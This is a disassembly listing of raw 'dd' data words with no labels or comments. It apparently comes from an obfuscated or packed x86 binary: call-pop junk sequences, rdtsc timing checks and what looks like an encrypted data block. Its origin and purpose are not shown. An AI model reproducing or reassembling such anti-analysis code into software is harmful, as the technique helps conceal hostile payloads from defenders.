dd 0CDD7ECBh, 2A08CD22h, 7CE0CB90h, 0E8074BAAh, 0DED85F99h
dd 23E0C3FAh, 0E41F5609h, 0DC458C18h, 2368C45Dh, 7CE0CB21h
dd 0D2C7A3C9h, 0AAEF6E57h, 23E0CB38h, 23F42344h, 493CB09h
dd 0F73F030Ah, 6B5747B7h, 0F105EAEh, 13D5C955h, 7CBE94FBh
dd 59C4FFA5h, 49EF19DFh, 20089909h, 3E0CB84h, 0AABA0818h
dd 0A2E4EF75h, 39E4EFD4h, 61E0CB48h, 0C4330876h, 0DE2A50F6h
dd 45164A7Fh, 0DCC4837Fh, 20C802F7h, 0F65AAD27h, 9F654683h
dd 43E6CD3Bh, 3CA54E2Dh, 0DC81CD11h, 0AA2E40D9h, 20E4DA01h
dd 23EF2244h, 9EDCCB21h, 0F2C61CBFh, 5639CAD9h, 0CD4D400Ah
dd 0A23034EBh, 74974D8h, 0AE6542AEh, 43E6C850h, 23E0C0C9h
dd 0F877B290h, 0E317DE4Fh, 0DE5BDAE9h, 2563C44Ah, 0A8E0CB09h
dd 20FFB601h, 0AF86AA44h, 76E0A1F9h, 23E0C878h, 0E0BDEB48h
dd 78C4279h, 7A44A16h, 23E0DC0Dh, 0E0B58E84h, 972AAB79h
dd 27C439AAh, 23E0489Fh, 0E3EACB48h, 210E4F2Bh, 238ACB12h
dd 23E3235Ah, 78C0CB84h, 7F699081h, 6761CF05h, 23F6CFB4h
dd 70A3CB48h, 12C508E7h, 0CD94ED4h, 0A8AFCD0Ah, 20AEA37Eh
dd 0ABEF35F9h, 23E0CB39h, 23E0C778h, 47616B48h, 164CB4F7h
dd 1306A8h, 2CB29BB1h, 7CB891B5h, 0A9C4FFC3h, 49A1F04Eh
dd 20089E90h, 3E0CB48h, 0AABD0879h, 0A2E4EF7Eh, 3BE4EF4Dh
dd 66E0CB84h, 8FB80817h, 0A812D41Dh, 20F7FE05h, 0EA55344Eh
dd 49E6C80Ch, 20089B12h, 3E0CB09h, 0AAB808DCh, 0A2E4EF06h
dd 36E4EF65h, 63E0CB90h, 66500818h, 0EF2A4A42h, 9F65462Eh
dd 49E6CD7Ah, 20089A84h, 3E0CB42h, 0AAB90878h, 0A2E4EFDCh
dd 39E4EF0Ch, 62E0CB24h, 0FB180843h, 0B9E55D56h, 2D099B6Eh
dd 9AE0CB42h, 1D37FC79h, 0DD53EAEFh, 74697B21h, 0F31F91E6h
dd 49C40B91h, 20089D09h, 3E0CB84h, 0AABE081Ch, 0A2E4EF55h
dd 3BE4EFD4h, 65E0CB48h, 0E9200872h, 0CBFD0606h, 23E0CB1Dh
dd 4CC68652h, 4E2445Dh, 4D0E03C6h, 0EF552716h, 42F9056h
dd 7D1E742Bh, 37E54E9Bh, 238ACD0Ah, 23E323D5h, 7AC0CB42h
dd 6F6992E2h, 6761CFB4h, 23F4CF6Ch, 72A1CB24h, 92520BD1h
dd 316D4E82h, 0AD5ACD87h, 0A8FC43CEh, 20E4DABCh, 60B07A96h
dd 2C995679h, 386BCD27h, 8C6BEDACh, 0A3EF9B41h, 23E0CB82h
dd 13A412C3h, 0A8BEFA30h, 4537408Bh, 867611C9h, 0A286D0AFh
dd 1011FFF4h, 0A25542D1h, 0CAE6C8A0h, 23E0CB53h, 73C4EC0h
dd 9AE9E764h, 0D397D750h, 0F273C57Ah, 5A7D4286h, 49E6C815h
dd 20089A84h, 3E0CB42h, 0AAB90878h, 0A2E4EFDCh, 36E4EF0Ch
dd 62E0CB24h, 2B370843h, 0E52B406Fh, 20CFF201h, 238A8C44h
dd 23E32371h, 7BC0CB90h, 6769938Bh, 6761CF00h, 23F9CF36h
dd 73A0CB09h, 8D31A647h, 0A83450DCh, 0A37CA3D8h, 71B02EACh
dd 0E1E4712Eh, 2408FA2Bh, 8DE0CB12h, 336DA320h, 9C865D6Bh
dd 79BF5BF8h, 7D44A79h, 710296A5h, 0CBB1CB22h, 23E0CB27h
dd 7A239232h, 27C48780h, 27C48F05h, 23E0CB5Ah, 0AB239A60h
dd 0BF0B06B2h, 0B297EB7h, 0B66BCD27h, 25E3F99Bh, 505C4E84h
dd 0AEE1CD82h, 25E3FAA3h, 9ECB1BDEh, 25E3C37Dh, 27D14EC1h
dd 9D86CD27h, 45A08002h, 0A84812B7h, 73E0A184h, 23E0C8AAh
dd 0E0B8EB21h, 7A442C8h, 7A44A4Ch, 23E0D720h, 0E0B08B12h
dd 0F4A8A490h, 6BAF1F4Dh, 0BA5DE075h, 45E6C82Eh, 0A8391B2Eh
dd 426D4248h, 0AAE6C80Eh, 20F08E97h, 23E8220Fh, 2E82CB84h
dd 0A3FFD123h, 4F09585Bh, 49E0CB91h, 20089E48h, 3E0CB24h
dd 0AABD084Fh, 0A2E4EF65h, 36E4EFC0h, 66E0CB42h, 87D30874h
dd 23E0DB78h, 566C5848h, 2DC40527h, 6344ECABh, 0FAE554A7h
dd 0AE6D4075h, 79E6C852h, 84AE4EACh, 0B669CD96h, 25E3D45Dh
dd 23EC2374h, 0AD01CB12h, 0DB50B9ABh, 560F4E36h, 9C86FAA6h
dd 0AAB94727h, 0A1EFEF94h, 23E0CB40h, 23E24C2Bh, 79B2CB12h
dd 38E95EF6h, 0ADEFCD87h, 23E0CB42h, 84B456ACh, 238ACD96h
dd 23E3231Bh, 78C0CB24h, 7F6990D1h, 6761CF2Dh, 23FDCFA0h
dd 70A3CB42h, 0BA4985E2h, 5D53BE4h, 0B022BD4Fh, 23E9432Bh
dd 0A7EFCB12h, 23E0CB0Ah, 732B40E2h, 23E0DBABh, 8D03C721h
dd 0DE695E8h, 8CFC7B5Eh, 0CBFDB6A9h, 238A58E2h, 23E3235Ch
dd 7EC0CB84h, 4F699681h, 6761CF05h, 23FACFB4h, 76A5CB48h
dd 528846E7h, 2B8B7C37h, 0C4114A6Fh, 9B805BD1h, 45B9386Ch
dd 23E6452Eh, 71B0CB90h, 7BBAFA47h, 0A2EF9B45h, 23E0CB16h
dd 7912405Eh, 72E0A114h, 23E0C8AAh, 0E0B9EB21h, 7AC42C9h
dd 7A44A4Ch, 23E0D620h, 0E0B18A12h, 5195BEBFh, 0DE40F83Dh
dd 0B61FFE86h, 25E3E254h, 0CBB0CBFAh, 23E0CB4Bh, 7B239304h
dd 27C48F9Bh, 27C48F88h, 23E0CB9Dh, 74239B02h, 0EE9B531Dh
dd 0AA017DBAh, 20F4CECDh, 7B114A22h, 0E5D7FA08h, 20CFF28Ch
dd 99869882h, 0A2869B38h, 4BA90ECFh, 0B1991DDFh, 27611AFAh
dd 2E4EFB00h, 75E0A10Ah, 23E0C8E1h, 0E0BEEB84h, 794421Ch
dd 7A44A25h, 23E0D194h, 0E0B68D48h, 0A6DFBAC6h, 0A84320F8h
dd 20D292BCh, 0EA553482h, 49E6C86Ah, 20089B21h, 3E0CB90h
dd 0AAB80810h, 0A2E4EF60h, 3BE4EF56h, 63E0CB09h, 358E08D4h
dd 43B26CB2h, 4A5D4241h, 2AE6C8B0h, 20CCAEFDh, 0A886AA22h
dd 0A66DAAEAh, 25E6B8B5h, 259760Fh, 0F31FCD41h, 44F37147h
dd 3F514E19h, 0A286CD4Bh, 0E59156C5h, 20CFF297h, 0A8808C0Fh
dd 20E9C219h, 927D4044h, 42E6C80Bh, 0CA394AF6h, 7FEA344h
dd 0A7EF576Ch, 23E0CB19h, 0E16BAD69h, 12EF99D4h, 0A2819318h
dd 126EEF15h, 238AF6AAh, 23E3231Bh, 78C0CB24h, 7F6990D1h
dd 6761CF2Dh, 23F8CFA0h, 70A3CB42h, 0FE5A6EE2h, 330910A9h
dd 0A9E0CB48h, 0C6134452h, 3898AAA9h, 0AC6F09C1h, 0A8722176h
dd 20D252FFh, 0EA553427h, 2CE6C8B8h, 23E0C7C9h, 23E72224h
dd 0EABCCB12h, 4B89CDBAh, 9F654649h, 49E6CD31h, 20089B21h
dd 3E0CB90h, 0AAB80810h, 0A2E4EF60h, 37E4EF56h, 63E0CB09h
dd 0DC5408D4h, 0F961AD92h, 0A6696469h, 25E3E489h, 0E533402Eh
dd 20CFF2A1h, 26099814h, 0D5E0CB09h, 6326794Fh, 880C9F2Ah
dd 0A2F67E0Dh, 50DCEF94h, 0CD61A7C5h, 2401DA4Eh, 1A222C93h
dd 961FB970h, 25E3E34Dh, 0CBB7CB28h, 23E0CB22h, 7C2394B0h
dd 27C4B7C1h, 27C48FA5h, 23E0CB07h, 20239C4Eh, 0CE7D4252h
dd 0AEE6C861h, 259377A4h, 72E0A196h, 23E0C8A0h, 0E0B9EB24h
dd 7AC424Bh, 7A44A0Dh, 23E0D280h, 0E0B18A42h, 0A3567795h
dd 0F31F78FBh, 0CBB6CB22h, 23E0CB27h, 7D239532h, 27C4BF80h
dd 27C48F05h, 23E0CB54h, 36239D67h, 9A867050h, 0A669FBCBh
dd 25E3EDB5h, 0A626BDA0h, 25E3E430h, 23F222D3h, 45E3CB42h
dd 31D7E67Dh, 23CBADC8h, 0FDD2C20Fh, 0B1B93D4Ah, 85BA97Ah
dd 425EADA5h, 7D44A4Eh, 1FCF2226h, 0CBB1CB4Bh, 23E0CB93h
dd 7A239268h, 27C487ADh
dd 27C48F93h, 23E0CB11h, 61239AC5h, 9FFA273Fh, 0D6976AAh
dd 961FCD93h, 25E3E381h, 0AEEF31AFh, 23E0CB11h, 0AE2B7C06h
dd 25937701h, 23EA2244h, 0FC98CB21h, 12B316D4h, 64D7031Eh
dd 0F31F3AAFh, 0CBB0CB78h, 23E0CB0Ah, 7B2393A4h, 27C48FCBh
dd 27C48FA0h, 23E0CB8Ah, 0A2239B08h, 2A99BB4Eh, 32090B5Eh
dd 27E0CB09h, 0F4E642F5h, 0F069AF85h, 618DADD3h, 0BC7A43A4h
dd 3F54EC1h, 238ACD27h, 23E32344h, 7DC0CB09h, 57699547h
dd 6761CF66h, 23F4CF05h, 75A6CB90h, 0AEE3308Bh, 25E3E2BDh
dd 0CD94ED4h, 49A3CD0Ah, 20089E84h, 3E0CB42h, 0AABD087Ch
dd 0A2E4EFFCh, 3AE4EF0Ch, 66E0CB24h, 0A86D0847h, 0C41D5E33h
dd 23E6438Bh, 0B669CB42h, 25E3E37Ch, 38232EF8h, 0A21040C8h
dd 8FA3EF20h, 25EF766h, 0DCA3231Fh, 20C80231h, 71E0A144h
dd 23E0C8C9h, 0E0BAEB90h, 7B44212h, 7A44A20h, 23E0D716h
dd 0E0B28909h, 6E7CDEEEh, 1988FB46h, 0F3024A75h, 45B75011h
dd 0A66D18C3h, 25E6B898h, 0CBB1CB78h, 23E0CB0Ah, 7A2392A4h
dd 27C487CBh, 27C48FA0h, 23E0CB85h, 6E239A09h, 23E8220Fh
dd 0CD17CB12h, 0A1615D4Ah, 0F31FC7E3h, 0CBB5CB28h, 23E0CB22h
dd 7E2396B0h, 27C4A7C1h, 27C48FA5h, 23E0CB0Fh, 38239E4Ch
dd 841AB435h, 29EF059Eh, 325DF8D2h, 0AAE6C896h, 20FD92CDh
dd 71E0A122h, 23E0C8FAh, 0E0BAEB09h, 7B442DEh, 7A44A46h
dd 23E0D025h, 0E0B28990h, 8C50D482h, 0C89B8575h, 23E0C3FBh
dd 0E880209h, 0C3850AAFh, 67654625h, 2CE6CD86h, 0CA70392Fh
dd 23E0CB58h, 0D1F0319Ah, 7D8291E7h, 2BA55F81h, 0BCC17896h
dd 71B09B12h, 23E0C2C8h, 3BA35390h, 0D34DC63Eh, 12EFB830h
dd 7BBA9541h, 238A5B50h, 23E323D1h, 7EC0CB42h, 4F6996E2h
dd 6761CFB4h, 23F7CF6Ch, 76A5CB24h, 0C0EA54D1h, 2A753405h
dd 0A2E6C89Fh, 0B6F3D788h, 4938401Bh, 20089D90h, 3E0CB48h
dd 0AABE087Ah, 0A2E4EF66h, 3BE4EF4Dh, 65E0CB84h, 88960814h
dd 0A81F8CA7h, 20C4EA1Dh, 1B65464Eh, 0AAE6CD83h, 20C4EEA7h
dd 0F457C40Fh, 23EA22D4h, 0B4C6CB42h, 0FF37AEDFh, 0D19FB20Eh
dd 0CAC4CFC1h, 23E0CB37h, 85A6CA06h, 75CA9C9h, 98F4B350h
dd 0E613054h, 0B00E4A6Bh, 0B84C4A29h, 2C809B2Eh, 23E0C9A6h
dd 0CA81AB12h, 23E0CB07h, 3F2F0139h, 9B5141DEh, 36711603h
dd 0B0813FC1h, 0CBB7CB22h, 23E0CB27h, 7C239432h, 27C4B780h
dd 27C48F05h, 23E0CB5Ah, 4A239C66h, 236D1376h, 0A955EB7h
dd 9C5ECD27h, 0AADDEC7Ah, 20F16E8Ch, 70E0A182h, 23E0C8AAh
dd 0E0BBEB21h, 7BC42CBh, 7A44A4Ch, 23E0D720h, 0E0B38812h
dd 19498A4Fh, 0B6123B1Fh, 5A650C07h, 2CE6C809h, 49E0CB90h
dd 20089B48h, 3E0CB24h, 0AAB8084Ah, 0A2E4EF4Dh, 3EE4EFC0h
dd 63E0CB42h, 993D0871h, 8BEA09B5h, 7F361707h, 292546AFh
dd 0B61FCD11h, 25E3DAACh, 0CBB5CBEEh, 23E0CB41h, 7E239601h
dd 27C4A719h, 27C48FC9h, 23E0CB3Ch, 0A0239E57h, 0DF1F8787h
dd 23E0D96Dh, 302A4242h, 0B97382FEh, 8624A6B8h, 24A0BD6h
dd 12D493D4h, 20FD8687h, 7E65420Fh, 49E6C89Bh, 20089D42h
dd 3E0CB21h, 0AABE08CEh, 0A2E4EF3Ch, 34E4EF60h, 65E0CB12h
dd 338C085Fh, 2B09CF50h, 4AE0CB42h, 0E906F062h, 2CE60ACAh
dd 23E0CFC9h, 875EAD24h, 1E65402Bh, 0AEE6C81Bh, 255BE819h
dd 22A34244h, 236576ACh, 966DCD93h, 25E671B5h, 23E0F89Dh
dd 0C8443812h, 23E0733Ah, 0E3EBCB84h, 3B22C836h, 7A44021h
dd 2308989Ch, 78E0CB48h, 23F708A5h, 7F69CB12h, 6769DB2Dh
dd 9BBBDFA0h, 237F6B75h, 676B2BDEh, 0C31FCFB4h, 0CBB0CB22h
dd 23E0CB27h, 7B239332h, 27C48F80h, 27C48F05h, 23E0CB5Ah
dd 66239B61h, 13ED8046h, 23E0C0A0h, 0E82E2B24h, 0BE07E978h
dd 0AAE3B562h, 0D2224AD4h, 7990539Fh, 238AAA7Eh, 23E323C0h
dd 7BC0CB48h, 676993E7h, 6761CF36h, 23F4CF2Dh, 73A0CB84h
dd 9E699081h, 25E3D570h, 0AECB0E10h, 2547F3F5h, 886D4622h
dd 9BE6CDA9h, 0BBC6603Ch, 6354EB7h, 0ECCBCD41h, 14238AABh
dd 2123E323h, 537DC0CBh, 6C576995h, 6761CFh, 1223F6CFh
dd 8375A6CBh, 0A4F305E9h, 890FD98Bh, 1, 56E9FCh, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
dd 611D9DC3h, 0C8A0Fh, 8E0F0000h, 6, 810Fh, 6AC30000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h
dd 40000000h, 1A5BC350h, 1880Fh, 0FCF50000h, 6AC08Bh, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
dd 18272DC3h, 80608E4Ah, 8F0FD5C5h, 1, 0BD8361F5h, 6031039h
dd 83097500h, 3111DBDh, 19740006h, 0C08B5350h, 4B9B8h
dd 91858900h, 8D060323h, 5B0F89Dh, 5BD3FF06h, 1DBD8358h
dd 60311h, 53501774h, 4B9B8h, 91858900h, 8D060323h, 5AD999Dh
dd 5BD3FF06h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1704h, 0C3524200h, 0BE944B4Fh, 13E9h, 27E47300h, 7B549E9h
dd 782D4F5Fh, 0C187F9D7h, 20796929h, 860FC08Bh, 16h, 9E860h
dd 6C240000h, 7292B881h, 5F923EC0h, 70CE8166h, 8B406114h
dd 816052C1h, 6040B3D2h, 5E61FC52h, 4EBh, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
dd 858D46C3h, 6032811h, 13E9h, 4DAAD400h, 0FD888B2h, 0C9B8DE74h
dd 7B578847h, 67103562h, 44BA6050h, 0BF2AB998h, 6B6428E6h
dd 24048961h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Ah, 0DCC35343h, 4FFD6DC3h, 0E9529FDBh, 0Fh, 0F8570F31h
dd 23AEFCF3h, 0FF788505h, 5F814748h, 99BE006Ah, 6A448126h
dd 858DF500h, 606BE9Dh, 2939B50Bh, 0C0830603h, 0BF665005h
dd 4894F37h, 0DE816624h, 6A1678h, 1E99B58Bh, 6A0603h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 1CC35242h, 0EBC065E1h
dd 95FFBD81h, 6030CC9h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Dh, 7EC35141h, 6240C8F9h, 3C33753Ch, 0E8D0F54h
dd 60000000h, 241D8D89h, 0BD030603h, 6032DF5h, 8D9D2961h
dd 8D060303h, 697479Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1D04h, 0C3504000h, 56C83F7Eh, 0D1AF3001h
dd 0DE816B78h, 761CFB40h, 8B51D3FFh, 33281BDh, 85FF5E06h
dd 6032A15h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 18h, 86C35545h, 0A7A37A30h, 10E9h, 0C267F800h, 7E1644h
dd 0CEEF9810h, 56284D98h, 77FE9A1h, 0E80000h, 5D000000h
dd 0BEA7ED81h, 6A0606h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1A0424h, 56460000h, 8CBE25C3h, 53100136h, 2879BD81h
dd 7D00603h, 860F0000h, 187h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 18h, 1FC35747h, 0D9F26Ch, 0DE12C681h
dd 9D8B4CD6h, 60313ADh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 18h, 0ABC35141h, 1D0C8D8Ch, 9DF78166h, 0EE8BBh
dd 143B0000h
dd 5177D31Ch, 6C3F4266h, 0BD2E0F12h, 6E8h, 71B0E100h, 0F95F059Dh
dd 0E3815F5Eh, 100h, 6870Fh, 0BD890000h, 6030C61h, 850FDB0Bh
dd 7Fh, 24E1B58Bh, 0BD830603h, 606BD0Ah, 35840F00h, 56000000h
dd 261D9D29h, 0E95E0603h, 69h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 14h, 28C35343h, 25258D29h, 85890603h
dd 603133Dh, 0BD0A85C7h, 10606h, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 140424h, 57470000h, 9D8903C3h
dd 6031AB9h, 10E9h, 61B58900h, 0C7060326h, 6BD0A85h, 6
dd 0AD9D8D00h, 6A060313h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1C042444h, 45000000h, 183FC355h, 50710DF2h
dd 8B1DF64Ah, 31FADB5h, 5BD8B06h, 81060312h, 0FFFEFF23h
dd 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h
dd 0C3524200h, 0C9583EBh, 0E9B96805h, 9, 81F129Ch, 2E2C43CCh
dd 45BD0B9Ch, 66060312h, 0C3F6DB8Ch, 6E840F04h, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h
dd 46000000h, 0F81BC356h, 62702DF7h, 0FC49E80Ch, 11A595FFh
dd 0B5330603h, 6032C61h, 52505090h, 810F60h, 0E8000000h
dd 0Ah, 2CFD78A3h, 61F2E4E0h, 615AB191h, 10E8310Fh, 0D4000000h
dd 70BB4E91h, 12F810A0h, 88205A43h, 503624B6h, 5A310F52h
dd 585A5E58h, 3F2E990h, 85890000h, 6032951h, 666000B0h
dd 5599D081h, 68A0Fh, 0B5890000h, 6030F39h, 6A70E661h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h
dd 43000000h, 0EBA8C353h, 0E72B1B69h, 45B58B0Ch, 0E4060313h
dd 0DBC68171h, 0F649031h, 6AD8B6h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 150424h, 55450000h, 0F0FBCC3h, 0C681FAB7h
dd 22CEE2E8h, 6BAh, 518D8900h, 8B060313h, 56006AC3h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 9E8EC7Bh, 0E0000000h, 879C075Ch, 6D05FB0Ah, 3F34BE66h
dd 4E8C15Eh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Bh, 54C35040h, 81AD442Fh, 29CCF1EFh, 310499Dh, 0E2F76606h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0FEC35646h
dd 93D82B95h, 61605760h, 830F6059h, 0
dd 830Fh, 61610000h, 6E850h, 50A0000h, 755D8986h, 5FF28B66h
dd 57006A93h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h
dd 0C3574700h, 9D09C9EEh, 6030BEDh, 8937E781h, 0B5FF34BDh
dd 6032879h, 1FB995FFh, 8C0F0603h, 0
dd 950900B0h, 60321D5h, 816670E6h, 0E4CD0BD6h, 55006A71h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
dd 51BD33A0h, 3C060328h, 55830F61h, 8B000002h, 317ADBDh
dd 0D8B60F06h, 6BAF8F5h, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 89BEC355h
dd 0D7DFC1A5h, 0E8897F16h, 9, 4C8D4C24h, 9FB55104h, 63B360C2h
dd 1B25BD89h, 5F610603h, 6AC38Bh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1B0424h, 50400000h, 0BF9D53C3h, 286FF92Fh
dd 0B1950968h, 0C1060328h, 6A04E8h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0B5E78AC3h
dd 0BCDE8166h, 0E2F76623h, 0AE8h, 43608A00h, 0B1DA15E0h
dd 0F3174E8h, 1789h, 12E900h, 1E140000h, 6632E193h, 7DC5692Dh
dd 7BEE7F05h, 8509304Bh, 6AD82B5Fh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 1D0C351h
dd 2358CFEAh, 331B5BDh, 0BDB58906h, 2B06031Bh, 51880FD8h
dd 6A000001h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1C042444h, 41000000h, 0CF46C351h, 0CEBCACD8h, 8B141E2Fh
dd 7B9F0h, 0C1830000h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1B04h, 0C3524200h, 0BBC302D3h, 0B0363D97h
dd 860FD93Bh, 0F8h, 0E9D98C66h, 9, 0EFFDCD74h, 0B1EA8B5Dh
dd 4C1F618h, 0BC840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1C0424h, 50400000h, 6DBD9AC3h, 811DAC47h
dd 0BE66DBFFh, 95FF464Fh, 60311A5h, 0C69B523h, 0BD8B0603h
dd 603304Dh, 55006A5Bh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1404h, 0C3554500h, 816660ADh, 962E3E7h, 302D9B5h, 0C32B6106h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0FFC35242h
dd 0F36BC781h, 343D193Fh, 0F000008h, 2986h, 0EBBE5600h
dd 5E2B0BA8h, 3FE9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1504h, 0C3534300h, 0C08B2804h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0DCC35242h, 0CE43BE66h
dd 0D88BC38Bh, 2151BD8Bh, 85C70603h, 6033159h, 5F299151h
dd 619B52Bh, 0BF0F0603h, 6AC08BF6h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0AF10C355h
dd 0BD81ABB1h, 6032879h, 7D0h, 37850Fh, 890F0000h, 2, 8B60F08Bh
dd 3299D8Dh, 0C88B6606h, 7985FF61h, 6A060328h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
dd 5B3C352h, 79B5FF95h, 6A060328h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0F27EC352h
dd 66CF8663h, 937FD681h, 1FB995FFh, 6A0603h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0E9F353C3h
dd 0C5B6FB6Dh, 0B05B4B4h, 33181BDh, 78B89006h, 60123456h
dd 0E8C3B70Fh, 10h, 0C2AD972Bh, 0B90B51C2h, 5AD351FAh
dd 0D7627D50h, 10E9h, 0F83FEE00h, 4B3878Bh, 6EC867CEh
dd 38179B8h, 8D61597Ah, 6C5BA9Dh, 0F8A8E906h, 6AFFFFh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 0CF2EF1C3h, 8BD04D30h, 311B1BDh, 0BC18B06h, 31145BDh
dd 4EB06h, 89000000h, 310A99Dh, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 942126E7h
dd 2C0DBD8Bh, 858D0603h, 6032811h, 13E9h, 0A5431300h, 162391E3h
dd 1CDF0053h, 9EAF57CCh, 0D9FD7FAAh, 66525090h, 310FF98Bh
dd 5650585Ah, 5FF08B66h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1D04h, 0C3564600h, 86E91A23h, 2855EF65h
dd 8D09CC4Eh, 6030179h, 6AF9B70Fh, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 1401525Eh
dd 0F772712h, 681h, 9D9D8900h, 6A06030Fh, 68EDBE00h, 0DE903D1h
dd 7C000000h, 0E90ED482h, 9CAF8572h, 844C0DAFh, 0C7F0858Dh
dd 6A0606h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
dd 53430000h, 0FA23D5C3h, 0E9491A83h, 6, 42F21711h, 0C0838C53h
dd 89B50905h, 9006031Ch, 0BE9h, 0A73FC300h, 0F67E948Bh
dd 9D8FC029h, 2E9CBF50h, 89901D8Dh, 30005BDh, 6A006A06h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h
dd 46000000h, 0E56CC356h, 6AF55Eh, 2219B529h, 95FF0603h
dd 6030CC9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 19h, 0BBC35646h, 28AB30DDh, 45BD8B34h, 8D06030Ch, 697479Dh
dd 398D2906h, 0FF060323h, 0A9BD0BD3h, 0FF06032Ah, 32A1585h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h
dd 0C3524200h, 4F152F0Bh, 490C1983h, 81FEBE66h, 0FBBE9h
dd 0E800h, 815D0000h, 6C7FAEDh, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 819187C9h
dd 32879BDh, 7D006h, 67860F00h, 6A000001h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 5F48C356h
dd 0B9068386h, 62A959EFh, 293D9D8Bh, 9D010603h, 6031E1Dh
dd 100E381h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 150424h, 55450000h, 0B54D7C3h, 0C0850FDBh, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h
dd 41000000h, 0F6E7C351h, 0AE92BCB0h, 0BF0F1A59h, 2BBD83F9h
dd 606C6h, 29840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 160424h, 57470000h, 4D9DA9C3h, 0A2E9h, 819D8900h
dd 0C7060312h, 6C62B85h, 106h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0D2B14483h
dd 974C2658h, 0A19529D4h, 0E9060313h, 63h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 86C35141h, 0E4CF8259h
dd 7CB9B5C3h, 95BD8B7Dh, 0C7060302h, 6C62B85h, 6, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
dd 77F541DAh, 5160A0D3h, 5BC1B70Fh, 2A819D89h, 8D610603h
dd 3293D9Dh, 459D0106h, 8106031Ch, 0FFFEFF23h, 8C66FCFFh
dd 57006ADBh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h
dd 0C3574700h, 14E8F1D0h, 0F3000000h, 0C4DB0685h, 22710FFBh
dd 57CA11Ch, 22679818h, 501F71C2h, 21FD9589h, 5E5F0603h
dd 0F04C3F6h, 2184h, 9852900h, 5106032Dh, 30C1BD8Bh, 0FF5F0603h
dd 311A595h, 5E509006h, 90F18B50h, 0CA19509h, 6EE90603h
dd 8B000004h, 6A00B0FBh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1C042444h, 45000000h, 2F17C355h, 0DC3476E1h
dd 0E66972C5h, 57006A70h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1604h
dd 0C3574700h, 0E406058Ah, 57006A71h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0A13AAF93h
dd 38AC54B2h, 0D8B60F25h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Bh, 70C35040h, 72CCE960h, 0E962104Ah, 5
dd 7F74FEC4h, 49BD8B47h, 0BA060309h, 6, 0E853006Ah, 3
